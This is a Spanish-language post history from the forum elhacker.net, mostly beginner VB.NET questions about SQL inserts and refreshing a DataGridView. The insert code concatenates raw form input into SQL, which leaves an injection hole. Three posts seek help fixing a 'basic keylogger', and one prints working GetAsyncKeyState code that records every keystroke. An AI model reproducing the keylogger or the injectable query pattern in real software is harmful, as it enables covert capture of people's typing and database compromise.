elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Rompecabezas de Bitcoin, Medio millón USD en premios


  Mostrar Mensajes
Páginas: [1] 2 3
1  Programación / .NET (C#, VB.NET, ASP) / Re: Guardar en 2 tablas de una misma base de datos en sql desde dos formularios en: 8 Febrero 2013, 19:15 pm
Cita de: seba123neo en  8 Febrero 2013, 14:05 pm
pues facil, si te salta el mensaje que esta en el Try Catch es porque esta ocurriendo una excepción, o sea un error, simplemente hace MsgBox(ex.Message) y te va a mostrar el error verdadero, seguramente esta en el insert.

saludos.

gracias por la respuesta , efectivamente estaba en el insert pues se me habia ocurrido por vago importar una BD de Acces y me daba error en algunos valores de la tabla. solucion crear la tabla directamente en sql.....


muchas gracias!!!!!
2  Programación / .NET (C#, VB.NET, ASP) / Guardar en 2 tablas de una misma base de datos en sql desde dos formularios en: 8 Febrero 2013, 12:01 pm
Hola vereis tengo un problemilla que no consigo dar con el, debido a mi corta sabiduria con .net

vereis estoy realizando una aplicacion de registro de Clientes y proveedores en una base de datos sql, bien tengo en la base de datos 2 tablas llamadas clientes y proveedores, y tengo 2 formularios de registro uno llamado Clientes y otro Proveedores , tengo creada la conexion a la base de datos y  desde el formulario Proveedores relleno los txtbox y al hacer click en el boton guardar , me guarda el registro correctamente en la tabla de proveedores.

pero en el formulario clientes no guarda el registro en la tabla cliente. le he puesto 3 msgbox uno para requerirme ingresar datos en los campos obligatorios , otro para avisare si se ha realizado el registro y otro para avisarme si no se ha realizado el registro, el caso es q en este formulario de clientes me salta el primer msgbox si tengo todo en blanco, pero cuando relleno los txtbox me salta el tercero, osea el que dice " No se ha podido realizar el registro".... os pongo el codigo del boton guardar:


Código
  1.  Private Sub Button1_Click(sender As Object, e As EventArgs) Handles Button1.Click
  2.         Dim insertar As String
  3.         Dim modifica As SqlCommand
  4.         Dim objeto As New Conectando_BD
  5.         Dim errores As String
  6.  
  7.         errores = "Ingresar Campos Requeridos"
  8.  
  9.         Try
  10.             If (TextBox1.Text = "" And TextBox2.Text = "" And TextBox3.Text = "" And ComboBox1.Text = "") Then
  11.                 MsgBox(errores)
  12.             Else
  13.                 insertar = "insert into dbo.Clientes values ('" & TextBox1.Text & "','" & TextBox2.Text & "','" & TextBox3.Text & "','" & TextBox4.Text & "','" & TextBox5.Text & "','" & TextBox6.Text & "','" & TextBox7.Text & "','" & TextBox8.Text & "','" & TextBox9.Text & "','" & TextBox10.Text & "','" & ComboBox1.Text & "','" & TextBox11.Text & "','" & TextBox12.Text & "','" & TextBox13.Text & "','" & RichTextBox1.Text & "','" & RichTextBox2.Text & "')"
  14.                 objeto.conectar_BD()
  15.                 modifica = New SqlCommand(insertar, objeto.conectar_BD())
  16.                 modifica.ExecuteNonQuery()
  17.                 MsgBox("Registro Realizado Correctamente")
  18.  
  19.                 objeto.cerrar_BD()
  20.  
  21.             End If
  22.  
  23.  
  24.  
  25.  
  26.         Catch ex As Exception
  27.             MsgBox("No se ha podido realizar el registro")
  28.         End Try
  29.         TextBox1.Text = ""
  30.         TextBox2.Text = ""
  31.         TextBox3.Text = ""
  32.         TextBox4.Text = ""
  33.         TextBox5.Text = ""
  34.         TextBox6.Text = ""
  35.         TextBox7.Text = ""
  36.         TextBox8.Text = ""
  37.         TextBox9.Text = ""
  38.         TextBox10.Text = ""
  39.         ComboBox1.Text = ""
  40.         TextBox11.Text = ""
  41.         TextBox12.Text = ""
  42.         TextBox13.Text = ""
  43.  
  44.         RichTextBox1.Text = ""
  45.         RichTextBox2.Text = ""
  46.  
  47.         TextBox1.Focus()
  48.  
  49.  
  50.  
  51.  
  52.  
  53.  
  54.  
  55.  
  56.  
  57.  
  58.     End Sub


bien tengo el mismo codigo en ambos formularios Clientes y Proveedores exepto "  insertar = "insert into dbo.Clientes values...." donde cada formulario apunta a si respectiva tabla.

y como ya os he dicho en el formulario Proveedores si me completa el registro sin ningun problema.

prodriais iluminarme un poco en donde puede estar el fallo????

gracias de antemano.

un saludo!!!
3  Seguridad Informática / Bugs y Exploits / nessus scan log curioso? en: 4 Septiembre 2012, 06:37 am
hola a todos ... vereis estoy empezando con esto de los exploit y vulnerabilidades, resulta que utilizando el nessus escanee una ip y me ha tirado el siguiente log (igual puede que este bien y no haya ningun problema ) pero me parecio un poco curioso



tambien he de decir que el riesgo que marcaba era "Risk: Medium"

bueno solo quisiera saber vuestras opiniones acerca de este log para asi seguir aprendiendo
(tambien quiero agregar que lo poco he pude investigar sobre este servicio me acojono un poco) igual he leido lo que no era, pues como repito estoy empezando y mi meta es aprender

PD: no me  crucifiqueis por mi ignorancia  ;D , un saludo
4  Programación / .NET (C#, VB.NET, ASP) / Re: Ayuda con DataGridView en: 26 Diciembre 2011, 11:05 am
he probado lo siguiente y en cierto modo me ha funcionado vereis:
Código
  1. Private Sub Form2_FormClosing(ByVal sender As System.Object, ByVal e As System.Windows.Forms.FormClosingEventArg… Handles MyBase.FormClosing
  2.  
  3. MDIParent1.midatagrid.datasource = nombredeldatasource
  4. MDIParent1.midatagrid.refresh ()
  5.  
  6. end sub

bien esto en el formclosing aparentemente funciona
pero cuando agrego el codigo al boton guardar en el formulario lo que hace es que me refresca todo el datagrid poniendolo en blanco....
5  Programación / .NET (C#, VB.NET, ASP) / Re: Ayuda con DataGridView en: 23 Diciembre 2011, 13:48 pm
Cita de: Novlucker en 23 Diciembre 2011, 12:43 pm
Debes de actualizar el datasource y disparar el bind

Saludos

ok si me pudieras explicar bien el codigo x que no tengo ni idea

he pensado en lo siguiente aunq aun no lo he probado:
como tengo el datagridview en un mdiparent he pensado en esto
Código
  1.  Private Sub ClientesBindingNavigatorSaveItem_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles ClientesBindingNavigatorSaveItem.Click
  2.         Me.Validate()
  3.         Me.ClientesBindingSource.EndEdit()
  4.         Me.TableAdapterManager.UpdateAll(Me.BasedeDatosDataSet)
  5.         MDIParent1.Refresh()
  6.  
  7.     End Sub


o bien asi:
Código
  1.  Private Sub ClientesBindingNavigatorSaveItem_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles ClientesBindingNavigatorSaveItem.Click
  2.         Me.Validate()
  3.         Me.ClientesBindingSource.EndEdit()
  4.         Me.TableAdapterManager.UpdateAll(Me.BasedeDatosDataSet)
  5.         MDIParent1.ClientesDataGridView.Refresh()
  6.     End Sub

pero lo dicho no lo he probado aun, he leido lo del bind pero no se exactamente como dispararlo,con respecto al datasoucer al decir actualizar seria "refresh" o "update" por que no lo entiendo dl todo esas acciones...
6  Programación / .NET (C#, VB.NET, ASP) / Re: Ayuda con DataGridView en: 23 Diciembre 2011, 13:40 pm
Cita de: Shell Root en 23 Diciembre 2011, 12:40 pm
Con visualizar quieres decir que se refresque el DataGridView como tal, o que se posicione en el registro ingresado?

si que se refresque el DataGridView como tal y me muestre el registro que recientemente ingrese.
7  Programación / .NET (C#, VB.NET, ASP) / Ayuda con DataGridView en: 23 Diciembre 2011, 10:46 am
Hola Hackeros.net
esta vez traigo un problemilla que creo es facil resolver pero me he dado cuenta que soy muy bruto y no termino de conseguirlo,
 vereis estoy creando una aplicacion para registrar clientes en una base de datos en sqlserver mediante visual studio 2010. todo marcha bien el unico inconveniente es el siguiente

atravez de un form hago los registro en la base de datos, y tengo un mdiparent que en el evento load me carga en un datagridview todos los registros de la BD bien, pues lo que intento conseguir es que una vez que yo presione el boton "guardar" en el formulario se me actualize el datagridview que esta en el mdiparent y me visualize el registro que acabo de guardar.

espero haberme xplicado bien y que me podais ayudar.

gracias de antemano!!!
un saludo!! foreros

y FELIZ NAVIDAD!!!!!! ;-) ;-) ;-)
8  Programación / .NET (C#, VB.NET, ASP) / Re: problema codigo keylogger en: 27 Octubre 2011, 10:35 am
ok lo mirare por el foro pero seguiren tambien con este... nunca viene mal saberlo.
gracias por tu opinion

un saludo!!!
9  Programación / .NET (C#, VB.NET, ASP) / Re: problema codigo keylogger en: 26 Octubre 2011, 11:25 am
Cita de: Keyen Night en 26 Octubre 2011, 05:23 am
Anteriormente las APIs se declaraban con Declare en Vb6 pero eso cambio para .Net en pinvoke.net está como se declaran las APIs en .Net, simplemente debes colocar el nombre del API seguido de pinvoke en Google. Ya he visto este error antes el tipo Long en la variable vKey debe ser Object cuando la API está invocada como si fuese Vb6. Cambia la declaración al modo que se debe hacer en .Net y solucionado el problema.


gracias keyen night
ya lo he  probado y al parecer funciona excepto por que tengo un problema con el timer: no me graba todas las teclas que presiono solo alguna de vez en cuando
he probado con el timer Enable = True y false e intervalo en 1 y 100
pero nada de nada. Coloco el codigo aver si me podeis ayudar
gracias.

Código
  1.  
  2. Imports System.Runtime.InteropServices
  3. -----------------------------------------------------------------
  4. Public Class Form1
  5.  
  6.  Public Shared Function GetAsyncKeyState(ByVal vKey As System.Windows.Forms.Keys) As Short
  7.   Public Shared Function GetKeyState (ByVal nVirtKey As System.Windows.Forms.Keys) As Short
  8.     Private Const VK_SHIFT = &H10, VK_CAPITAL = &H14
  9.     Private ChangeChr(255) As String
  10. ---------------------------------------------------------------------
  11.     Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
  12.         'Letras
  13.         Dim i As Integer
  14.         For i = Asc("A") To Asc("Z")
  15.             If GetAsyncKeyState(i) = -32767 Then
  16.                 If GetAsyncKeyState(VK_SHIFT) > 0 Then
  17.                     If GetKeyState(VK_CAPITAL) > 0 Then
  18.                         RichTextBox1.Text = RichTextBox1.Text & LCase(Chr(i))
  19.                         Exit Sub
  20.                     Else
  21.                         RichTextBox1.Text = RichTextBox1.Text & UCase(Chr(i))
  22.                         Exit Sub
  23.                     End If
  24.                 Else
  25.                     If GetKeyState(VK_CAPITAL) > 0 Then
  26.                         RichTextBox1.Text = RichTextBox1.Text & UCase(Chr(i))
  27.                         Exit Sub
  28.                     Else
  29.                         RichTextBox1.Text = RichTextBox1.Text & LCase(Chr(i))
  30.                         Exit Sub
  31.                     End If
  32.                 End If
  33.             End If
  34.         Next
  35.         'Numeros
  36.         For i = 48 To 57
  37.             If GetAsyncKeyState(i) = -32767 Then
  38.                 If GetAsyncKeyState(VK_SHIFT) < 0 Then
  39.                     RichTextBox1.Text = RichTextBox1.Text & ChangeChr(i)
  40.                     Exit Sub
  41.                 Else
  42.                     RichTextBox1.Text = RichTextBox1.Text & Chr(i)
  43.                     Exit Sub
  44.                 End If
  45.             End If
  46.         Next
  47.         'Espacio
  48.         If GetAsyncKeyState(32) = -32767 Then
  49.             RichTextBox1.Text = RichTextBox1.Text + " "
  50.         End If
  51.         'Enter
  52.         If GetAsyncKeyState(13) = -32767 Then
  53.             RichTextBox1.Text = RichTextBox1.Text & vbCrLf & "[Enter] "
  54.         End If
  55.         'Esc
  56.         If GetAsyncKeyState(27) = -32767 Then
  57.             RichTextBox1.Text = RichTextBox1.Text & " [Esc] "
  58.         End If
  59.         'Izquierda
  60.         If GetAsyncKeyState(37) = -32767 Then
  61.             RichTextBox1.Text = RichTextBox1.Text & " [Izq] "
  62.         End If
  63.         'Arriba
  64.         If GetAsyncKeyState(38) = -32767 Then
  65.             RichTextBox1.Text = RichTextBox1.Text & " [Arriba] "
  66.         End If
  67.         'Derecha
  68.         If GetAsyncKeyState(39) = -32767 Then
  69.             RichTextBox1.Text = RichTextBox1.Text & " [Der] "
  70.         End If
  71.         'Abajo
  72.         If GetAsyncKeyState(40) = -32767 Then
  73.             RichTextBox1.Text = RichTextBox1.Text & " [Abajo] "
  74.         End If
  75.         'Print Screen
  76.         If GetAsyncKeyState(44) = -32767 Then
  77.             RichTextBox1.Text = RichTextBox1.Text & " [Print Screen] "
  78.         End If
  79.         'Re Pag
  80.         If GetAsyncKeyState(33) = -32767 Then
  81.             RichTextBox1.Text = RichTextBox1.Text & " [Re Pag] "
  82.         End If
  83.         'Av Pag
  84.         If GetAsyncKeyState(34) = -32767 Then
  85.             RichTextBox1.Text = RichTextBox1.Text & " [Av Pag] "
  86.         End If
  87.         'Fin Pag
  88.         If GetAsyncKeyState(35) = -32767 Then
  89.             RichTextBox1.Text = RichTextBox1.Text & " [Fin Pag] "
  90.         End If
  91.         'Inicio Pag
  92.         If GetAsyncKeyState(36) = -32767 Then
  93.             RichTextBox1.Text = RichTextBox1.Text & " [Inicio Pag] "
  94.         End If
  95.         'Supr
  96.         If GetAsyncKeyState(46) = -32767 Then
  97.             RichTextBox1.Text = RichTextBox1.Text & " [Supr] "
  98.         End If
  99.         'Insert
  100.         If GetAsyncKeyState(45) = -32767 Then
  101.             RichTextBox1.Text = RichTextBox1.Text & " [Insert] "
  102.         End If
  103.         'F1
  104.         If GetAsyncKeyState(112) = -32767 Then
  105.             RichTextBox1.Text = RichTextBox1.Text & " [F1] "
  106.         End If
  107.         'F2
  108.         If GetAsyncKeyState(113) = -32767 Then
  109.             RichTextBox1.Text = RichTextBox1.Text & " [F2] "
  110.         End If
  111.         'F3
  112.         If GetAsyncKeyState(114) = -32767 Then
  113.             RichTextBox1.Text = RichTextBox1.Text & " [F3] "
  114.         End If
  115.         'F4
  116.         If GetAsyncKeyState(115) = -32767 Then
  117.             RichTextBox1.Text = RichTextBox1.Text & " [F4] "
  118.         End If
  119.         'F5
  120.         If GetAsyncKeyState(116) = -32767 Then
  121.             RichTextBox1.Text = RichTextBox1.Text & " [F5] "
  122.         End If
  123.         'F6
  124.         If GetAsyncKeyState(117) = -32767 Then
  125.             RichTextBox1.Text = RichTextBox1.Text & " [F6] "
  126.         End If
  127.         'F7
  128.         If GetAsyncKeyState(118) = -32767 Then
  129.             RichTextBox1.Text = RichTextBox1.Text & " [F7] "
  130.         End If
  131.         'F8
  132.         If GetAsyncKeyState(119) = -32767 Then
  133.             RichTextBox1.Text = RichTextBox1.Text & " [F8] "
  134.         End If
  135.         'F9
  136.         If GetAsyncKeyState(120) = -32767 Then
  137.             RichTextBox1.Text = RichTextBox1.Text & " [F9] "
  138.         End If
  139.         'F10
  140.         If GetAsyncKeyState(121) = -32767 Then
  141.             RichTextBox1.Text = RichTextBox1.Text & " [F10] "
  142.         End If
  143.         'F11
  144.         If GetAsyncKeyState(122) = -32767 Then
  145.             RichTextBox1.Text = RichTextBox1.Text & " [F11] "
  146.         End If
  147.         'F12
  148.         If GetAsyncKeyState(123) = -32767 Then
  149.             RichTextBox1.Text = RichTextBox1.Text & " [F12] "
  150.         End If
  151.         'Alt
  152.         If GetAsyncKeyState(164) = -32767 Then
  153.             RichTextBox1.Text = RichTextBox1.Text & " [Alt] "
  154.         End If
  155.         'Num Lock
  156.         If GetAsyncKeyState(144) = -32767 Then
  157.             RichTextBox1.Text = RichTextBox1.Text & " [Num Lock] "
  158.         End If
  159.         'Bloq mayús
  160.         If GetAsyncKeyState(20) = -32767 Then
  161.             RichTextBox1.Text = RichTextBox1.Text & " [Bloq Mayús] "
  162.         End If
  163.         'ñ
  164.         If GetAsyncKeyState(164) = -32767 Then
  165.             RichTextBox1.Text = RichTextBox1.Text & "ñ"
  166.         End If
  167.         'Ñ
  168.         If GetAsyncKeyState(240) = -32767 Then
  169.             RichTextBox1.Text = RichTextBox1.Text & "Ñ"
  170.         End If
  171.         '"."
  172.         If GetAsyncKeyState(190) = -32767 Then
  173.             RichTextBox1.Text = RichTextBox1.Text & "."
  174.         End If
  175.         '","
  176.         If GetAsyncKeyState(188) = -32767 Then
  177.             RichTextBox1.Text = RichTextBox1.Text & ","
  178.         End If
  179.         '"Alt Gr"
  180.         If GetAsyncKeyState(165) = -32767 Then
  181.             RichTextBox1.Text = RichTextBox1.Text & " [Alt Gr] "
  182.         End If
  183.         '"Del"
  184.         If GetAsyncKeyState(8) = -32767 Then
  185.             RichTextBox1.Text = RichTextBox1.Text & " [Del] "
  186.         End If
  187.         '"Tab"
  188.         If GetAsyncKeyState(9) = -32767 Then
  189.             RichTextBox1.Text = RichTextBox1.Text & " [Tab] "
  190.         End If
  191.     End Sub
10  Programación / .NET (C#, VB.NET, ASP) / problema codigo keylogger en: 25 Octubre 2011, 19:01 pm
hola de nuevo vereis estoy intentando hacer un keylogger basico  pero cuando depuro el programa se detiene...
lo curioso es que le paso el run code analysis y si admito que me saltan 5 warnings...
pero no se si sea motivo para que se detenga....



espero que me podais ayudar...
hay se ve una parte del codigo
por si os vale de ayuda

gracias de antemano....
Páginas: [1] 2 3
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines